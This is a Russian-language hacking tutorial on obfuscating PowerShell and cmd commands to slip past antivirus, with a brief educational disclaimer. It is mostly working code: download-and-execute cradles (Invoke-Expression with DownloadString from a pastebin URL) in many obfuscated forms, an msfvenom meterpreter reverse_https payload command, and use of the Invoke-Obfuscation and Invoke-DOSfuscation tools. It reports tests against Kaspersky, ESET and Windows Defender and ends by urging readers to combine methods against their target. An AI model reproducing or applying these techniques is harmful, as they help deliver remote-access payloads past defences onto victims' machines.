В антивирусных базах есть миллионы сигнатур, но троянские программы по-прежнему имеются в арсенале у хакеров. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут быть незамеченными. Как такое может быть? Благодаря обфускации! Даже скрипт PowerShell можно спрятать от антивируса.
Взгляните на эту строку. Что вы здесь видите?
1 |
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) " |
Думаю — ничего. А ведь это всего лишь обфусцированная команда netstat /ano. Сегодня мы попробуем разобраться, как привести команды на PowerShell к такому виду, и протестируем, как на это будут реагировать антивирусное ПО.
Распространение вредоносных программ преследуется по закону. Материал представлен исключительно в ознакомительных целях.
PowerShell в пентесте
Начнем с самого PowerShell. Почему в пентесте / взломе он используется так часто? Ну, как минимум потому, что PowerShell представляет собой командную оболочку и просто для понимания скриптовый язык, который используется в последних версиях операционной системы Windows. К тому же большая часть команд выполняется в памяти, что может помочь избежать детекта анвирусным ПО. Если на машине включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют отличные инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других файлов (.bat, .doc, .xls, .ppt, .hta, .exe, .dll) и скриптов .
С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и выполнять его. Для этого используется специльный командлет Invoke-Expression. Вот примеры использования.
1 2 3 |
Invoke-Expression -Command 'C:\directory\script.ps1' 'C:\directory\script.ps1' | Invoke-Expression Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP') |
Можно также использовать кодировку Base64. Для начала необохидмо закодировать команды в Base64.
1 |
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код')) |
Перед выполнением надо будет декодировать их с помощью -EncodeCommand.
1 2 3 |
powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA== powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA== powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA== |
Есть масса других интересных трюков с PowerShell.
Обфускация PowerShell
Процесс обфускации PowerShell довольно простой, так как это скриптовый язык и работает со строками, а не с исполняемым двоичным кодом. Итак, рассмотрим некоторые методы обфускации PowerShell. Будем рассматривать все на примере данной команды:
1 |
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP') |
Обфускация — один из популярных методов обхода сигнатурного анализа.
Для начала постораемся убрать System из строки System.Net.WebClient. На выполнение самой команды это никак не повлияет, так как нет никакой необходимости писать System в функциях .NET.
1 |
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP') |
Поглядим, что еще можно сделать. URL в нашей команде — это строка. Что можно делать со строками? Совершенно верно — разделять и соединять, а вернее, конкатенировать. Попробуем это применить.
1 |
Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP') |
Команда отрабатывает точно так же. А сейчас постараемся объявить в виде переменной часть команды.
1 2 |
$get = New-Object Net.Webclient; Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP') |
Обфускация отлично работает. Идем дальше. DownloadString, наверное, используется хакерами уже сто лет. Спрячем DownloadString и New-Object среди “ и `.
1 2 |
$get = New-Object "`N`et.`W`ebc`l`i`ent"; Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP') |
Неплохо спрятали. Почти трудно определить, что это такое.
Что еще можно использовать для загрузки файла или скрипта кроме DownloadString? Конечно! Методы класса Net.Web-Client:
- DownloadString
- DownloadStringAsync
- DownloadStringTaskAsync
- DownloadFile
- DownloadFileAsync
- DownloadFileTaskAsync
- DownloadData
- DownloadDataAsync
- DownloadDataTaskAsync
- и другие.
Есть возможность использовать не Web-Client, а другие классы:
- System.Net.WebRequest
- System.Net.HttpWebRequest
- System.Net.FileWebRequest
- System.Net.FtpWebRequest
Вот пример того, как на деле будет выглядеть одна из команд.
1 |
IEX (New-Object System.IO.StreamReader ([Net.HttpWebRequest]::Create("$url").GetResponse(). GetResponseStream())).ReadToEnd(); $readStream.Close(); $response.Close() |
Продолжим со строками. Перевернем команду задом наперед.
1 2 |
$reverseCmd = ")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN("; IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX |
Разделим и соединим строку другим способом.
1 2 |
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')"; IEX ($cmdWithDelim.Split("~~") -Join '') | IEX |
Сделаем замену.
1 2 |
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')"; IEX $cmdWithDelim.Replace("~~","") | IEX |
И снова конкатенируем другим способом.
1 2 |
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/MKM5QLaP')"; IEX ($c1,$c2,$c3 -Join '') | IEX |
Согласитесь, над командой мы поэкспериментировали неплохо. Рассмотрим теперь другие трюки, которые могут помочь доставить полезную нагрузку с использованием cmd. Есть один очень извращенный способ загрузки удаленных скриптов через блокнот. Подгружаем скрипт File → Open.
И все! Он у нас в блокноте.
Можно ли это как-то автоматизировать и использовать? Конечно! С помощью метода SendKeys объекта WscriptShell, который имитирует нажатие клавиш. Вот пример подобного скрипта с использованием блокнота:
1 2 3 4 5 6 7 8 9 10 11 |
$wshell = New-Object -ComObject wscript.shell; $wshell.run("notepad"); $wshell.AppActivate('Untitled - Notepad'); Start-Sleep 2; $wshell.SendKeys('^o'); Start-Sleep 2; $wshell.SendKeys(http://pastebin.com/raw/MKM5QLaP); $wshell.SendKeys('~'); Start-Sleep 5; $wshell.SendKeys('^a'); $wshell.SendKeys('^c'); |
Можно попробовать спрятать аргументы команды в родительском процессе. Интересно, проверяют ли антивирусы их?
1 |
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% ^| powershell -" |
А можно ли использовать не командную строку, а что-нибудь другое? Например, в некоторых случаях cmd можно заменить на forfiles. Forfiles — это консольная утилита Windows для операций с файлами.
Также cmd можно вызывать не напрямую, а через переменную %COMSPEC%. Запутываем PowerShell еще больше! В командах вместо знака — можно использовать знак /. Например, вот так:
1 2 |
powershell.exe -nop -noni -enc powershell.exe /nop /noni /enc |
Кажется, намудрили достаточно. Можно еще много обсуждать эти замечательные методы. Кому интересно, еще больше методов найдет в презентациях Даниэля Боханнона (первый PDF и второй). Ну а мы пока что посмотрим на написанные им инструменты, которые упростят обфускацию и сделают все за нас.
Автоматизируем обфускацию
Первый инструмент — Invoke-Obfuscation. Это фреймворк для обфускации PowerShell, который использует разные методы, в том числе и перечисленные в предыдущем разделе. Загружаем архив, запускаем PowerShell. Переходим в папку фреймворка, меняем политику исполнения, если надо, и запускаем сам фреймворк.
1 2 3 |
Set-ExecutionPolicy Unrestricted Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation |
Для начального ознакомления введите tutorial. Для тестирования будем использовать все ту же команду. Посмотрим необходимые опции и установим нужные (подсвечивается желтым).
1 2 |
show options set scriptblock Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP') |
Попробуем использовать конкатенацию. Получаем результат и нашу строку.
Также можно закодировать команду в ASCII, HEX, Octal, Binary, SecureString или BXORencoding. Нагрузку возьмем потяжелее. Например, создадим ее с помощью msfvenom.
1 |
msfvenom -p windows/meterpreter/reverse_https --format psh --out xaker.ps1 LHOST=192.168.0.11 LPORT=8080 |
Попробуем использовать ENCONDING и опцию 6. Получается такая картина.
Можно использовать вместе конкатенацию, encoding и compress. Попробуйте поиграться с разными вариантами и комбинациями.
DOSfuscation
Следующий инструмент того же автора — Invoke-DOSfuscation. Скачиваем его, запускаем PowerShell и вводим в папке фреймворка команды
1 2 |
Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation |
Попробуем обфусцировать ту же полезную нагрузку авторства msfvenom. Установим нужные опции и используем начальную обфускацию.
1 2 3 |
SET COMMANDPATH c:\xaker.ps1 Forcode Basic Obfuscation |
Получаем нашу замаскированную полезную нагрузку.
Реакция антивирусов
Пришло время проверить, как реагируют антивирусы на нашу нагрузку с обфускацией и без. Для эксперимента будем использовать три антивируса: Kaspersky, Eset NOD32, Windows Defender.
Первым в бой идет Kaspersky. Проверяем нашу полезную нагрузку msfvenom в первоначальном виде. KAV даже не дал перейти по ссылке для скачивания файла xaker.ps1!
Однако следующие два обфусцированных файла спокойно были запущены, и ничто не препятствовало загрузке. Однако проактивная защита антивируса через некоторое время узнала по поведению, что это наш пейлоад.
Переходим к Eset NOD32 и проверяем файлы в том же порядке. Удивительно, но он не заметил даже необфусцированный файл.
Под конец проверим с помощью встроенного антивируса Windows Defender. Он не дал запустить первый файл без обфускации и сразу удалил его. Второй файл отлично запустился и не был замечен. Третий файл запустился, но во время запуска был обнаружен.
Примечательно, что если конвертировать скрипт в .exe с помощью утилиты Ps2exe, то файлы будут видны большинству антивирусов.
Выводы
Победу в этой игре принесет знание цели. Если вы знаете, используется ли антивирус и какой конкретно, то вполне есть шанс обойти его при помощи такого несложного трюка. Также полезно знать версию PowerShell на целевой машине и проверять, не сломался ли файл, на ней же.
Доработать обфускацию вы можете сами и, комбинируя разные варианты, сделать так, чтобы антивирус точно не распознал поведение. Попробуйте все методы и затем комбинируйте ручную обфускацию, способы спрятать нагрузку и рассмотренные фреймворки на модели целевой машины. В конце концов, все ограничено только вашей фантазией!
Нормас тема.